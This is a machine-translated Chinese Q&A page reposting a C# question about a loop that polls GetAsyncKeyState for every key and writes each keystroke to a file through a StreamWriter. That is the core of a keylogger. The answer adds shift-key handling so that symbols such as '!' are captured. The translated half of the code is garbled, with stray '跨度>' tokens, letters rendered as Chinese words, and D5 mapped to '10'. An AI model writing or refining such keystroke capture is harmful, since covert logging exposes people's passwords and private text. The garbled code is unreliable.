如何在控制台中使用shift键写入键 [英] how can write the keys with shift key in console
本文介绍了如何在控制台中使用shift键写入键的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!
问题描述
for ( Int32 i = 0 ; i < 255 ; i ++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
switch ((Keys)i)
{
case Keys.ControlKey:sw.Write( ); break ;
case Keys.LMenu:sw.Write( 跨度>); break ;
case Keys.RMenu:sw.Write( 跨度>); break ;
case Keys.Space:sw.Write( ); break ;
case Keys.Return:sw.WriteLine( \\\
跨度>); break ;
case Keys.Back:sw.Write( 跨度>); break ;
case Keys.Tab:sw.Write( 跨度>); break ;
case Keys.ShiftKey:sw.Write( 跨度>); break ;
case Keys.LButton:sw.Write( 跨度>); break ;
case Keys.Insert:sw.Write( 跨度>); break ;
case Keys.Delete:sw.Write( DEL); break ;
case Keys.LShiftKey:sw.Write( 跨度>); break ;
case Keys.RShiftKey:sw.Write( 跨度>); break ;
case Keys.LControlKey:sw.Write( 跨度>); break ;
case Keys.RControlKey:sw.Write( 跨度>); break ;
case Keys.LWin:sw.Write( [开始菜单]); break ;
case Keys.A:sw.Write( 一个跨度>); break ;
case Keys.B:sw.Write( b跨度>); break ;
case Keys.C:sw.Write( C跨度>); break ;
case Keys.D:sw.Write( d跨度>); break ;
case Keys.E:sw.Write( E跨度>); break ;
case Keys.F:sw.Write( F跨度>); break ;
case Keys.G:sw.Write( 克跨度>); break ;
case Keys.H:sw.Write( H跨度>); break ;
case Keys.I:sw.Write( i 的跨度>); break ;
case Keys.J:sw.Write( J跨度>); break ;
case Keys.K:sw.Write( K跨度>); break ;
case Keys.L:sw.Write( 升跨度>); break ;
case Keys.M:sw.Write( m 个跨度>); break ;
case Keys.N:sw.Write( N跨度>); break ;
case Keys.O:sw.Write( ○跨度>); break ;
case Keys.P:sw.Write( p跨度>); break ;
case Keys.Q:sw.Write( q跨度>); break ;
case Keys.R:sw.Write( R跨度>); break ;
case Keys.S:sw.Write( S跨度>); break ;
case Keys.T:sw.Write( t 的跨度>); break ;
case Keys.U:sw.Write( U跨度>); break ;
case Keys.V:sw.Write( v跨度>); break ;
case Keys.W:sw.Write( W跨度>); break ;
case Keys.X:sw.Write( X跨度>); break ;
case Keys.Y:sw.Write( Y跨度>); break ;
case Keys.Z:sw.Write( Z跨度>); break ;
case Keys.D0:sw.Write( 0跨度>); break ;
case Keys.D1:sw.Write( 1跨度>); break ;
case Keys.D2:sw.Write( 2跨度>); break ;
case Keys.D3:sw.Write( 3跨度>); break ;
case Keys.D4:sw.Write( 4跨度>); break ;
case Keys.D5:sw.Write( 10跨度>); break ;
case Keys.D6:sw.Write( 6跨度>); break ;
case Keys.D7:sw.Write( 7跨度>); break ;
case Keys.D8:sw.Write( 8跨度>); break ;
case Keys.D9:sw.Write( 9跨度>); break ;
case Keys.Add:sw.Write( +跨度>); break ;
case Keys.Divide:sw.Write( /跨度>); break ;
case Keys.End:sw.Write( 结束); break ;
case Keys.Escape:sw.Write( Esc); break ;
case Keys.F1:sw.Write( F1); break ;
case Keys.F2:sw.Write( F2); break ;
case Keys.F3:sw.Write( F3); break ;
case Keys.F4:sw.Write( F4); break ;
case Keys.F5:sw.Write( F5); break ;
case Keys.F6:sw.Write( F6); break ;
case Keys.F7:sw.Write( F7); break ;
case Keys.F8:sw.Write( F8); break ;
默认:
sw.Write((Keys)i);
break ;
}
}}}
//怎么样可以在控制台中使用流编写器编写shift键组合..
解决方案
case Keys.D1:if(Control.ModifierKeys == Keys.Shift)sw.Write( !);否则sw.Write(1);打破;
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
switch ((Keys)i)
{
case Keys.ControlKey: sw.Write(""); break;
case Keys.LMenu: sw.Write(""); break;
case Keys.RMenu: sw.Write(""); break;
case Keys.Space: sw.Write(" "); break;
case Keys.Return: sw.WriteLine("\n"); break;
case Keys.Back: sw.Write(""); break;
case Keys.Tab: sw.Write(""); break;
case Keys.ShiftKey: sw.Write(""); break;
case Keys.LButton: sw.Write(""); break;
case Keys.Insert: sw.Write(""); break;
case Keys.Delete: sw.Write(" DEL "); break;
case Keys.LShiftKey: sw.Write(""); break;
case Keys.RShiftKey: sw.Write(""); break;
case Keys.LControlKey: sw.Write(""); break;
case Keys.RControlKey: sw.Write(""); break;
case Keys.LWin: sw.Write(" [Start Menu] "); break;
case Keys.A: sw.Write("a"); break;
case Keys.B: sw.Write("b"); break;
case Keys.C: sw.Write("c"); break;
case Keys.D: sw.Write("d"); break;
case Keys.E: sw.Write("e"); break;
case Keys.F: sw.Write("f"); break;
case Keys.G: sw.Write("g"); break;
case Keys.H: sw.Write("h"); break;
case Keys.I: sw.Write("i"); break;
case Keys.J: sw.Write("j"); break;
case Keys.K: sw.Write("k"); break;
case Keys.L: sw.Write("l"); break;
case Keys.M: sw.Write("m"); break;
case Keys.N: sw.Write("n"); break;
case Keys.O: sw.Write("o"); break;
case Keys.P: sw.Write("p"); break;
case Keys.Q: sw.Write("q"); break;
case Keys.R: sw.Write("r"); break;
case Keys.S: sw.Write("s"); break;
case Keys.T: sw.Write("t"); break;
case Keys.U: sw.Write("u"); break;
case Keys.V: sw.Write("v"); break;
case Keys.W: sw.Write("w"); break;
case Keys.X: sw.Write("x"); break;
case Keys.Y: sw.Write("y"); break;
case Keys.Z: sw.Write("z"); break;
case Keys.D0: sw.Write("0"); break;
case Keys.D1: sw.Write("1"); break;
case Keys.D2: sw.Write("2"); break;
case Keys.D3: sw.Write("3"); break;
case Keys.D4: sw.Write("4"); break;
case Keys.D5: sw.Write("5"); break;
case Keys.D6: sw.Write("6"); break;
case Keys.D7: sw.Write("7"); break;
case Keys.D8: sw.Write("8"); break;
case Keys.D9: sw.Write("9"); break;
case Keys.Add: sw.Write("+"); break;
case Keys.Divide: sw.Write("/"); break;
case Keys.End: sw.Write(" End "); break;
case Keys.Escape: sw.Write(" Esc "); break;
case Keys.F1: sw.Write(" F1 "); break;
case Keys.F2: sw.Write(" F2 "); break;
case Keys.F3: sw.Write(" F3 "); break;
case Keys.F4: sw.Write(" F4 "); break;
case Keys.F5: sw.Write(" F5 "); break;
case Keys.F6: sw.Write(" F6 "); break;
case Keys.F7: sw.Write(" F7 "); break;
case Keys.F8: sw.Write(" F8 "); break;
default:
sw.Write((Keys)i);
break;
}
}}}
//how can write the shift key combination with stream writer in console..
解决方案
case Keys.D1: if (Control.ModifierKeys == Keys.Shift) sw.Write("!");else sw.Write("1"); break;
这篇关于如何在控制台中使用shift键写入键的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!
查看全文